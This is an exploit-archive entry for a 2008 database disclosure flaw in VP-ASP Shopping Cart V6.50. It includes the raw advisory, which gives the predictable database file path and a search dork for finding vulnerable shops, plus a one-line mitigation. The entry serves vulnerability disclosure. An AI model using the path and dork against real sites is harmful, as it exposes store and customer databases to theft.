VP-ASP Shopping Cart V6.50 Database Disclosure Vulnerability

vendor:

Shopping Cart

by:

Dxil

4.3

CVSS

MEDIUM

Database Disclosure Vulnerability

200

CWE

Product Name: Shopping Cart

Affected Version From: V6.50

Affected Version To: V6.50

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

VP-ASP Shopping Cart V6.50 Database Disclosure Vulnerability

An attacker can access the database of VP-ASP Shopping Cart V6.50 by using the URL www.site.com/database/shopping650.mdb

Mitigation:

Ensure that the database is not accessible from the web server.

Source

Exploit-DB raw data:

VP-ASP Shopping Cart V6.50 Database Disclosure Vulnerability
##############################
=============================
         ----- Script information -----
=============================
# VP-ASP Shopping Cart V6.50
## Script Website :  www.vpasp.com
# Found by  :  Dxil
## Contact :  z1cx@hotmail.com
### Dxil@v4-team.net
##############################
=============================
Dork : powered by vpasp v 6.50
=============================
=============================
               -------- Exploit --------
=============================
/database/shopping650.mdb

---->> www.site.com/database/shopping650.mdb

=============================
             --------- Greetz ---------
=============================

V4-team ,, S.V.T ,, Reno ,, Ghost Hacker ..

# milw0rm.com [2008-12-12]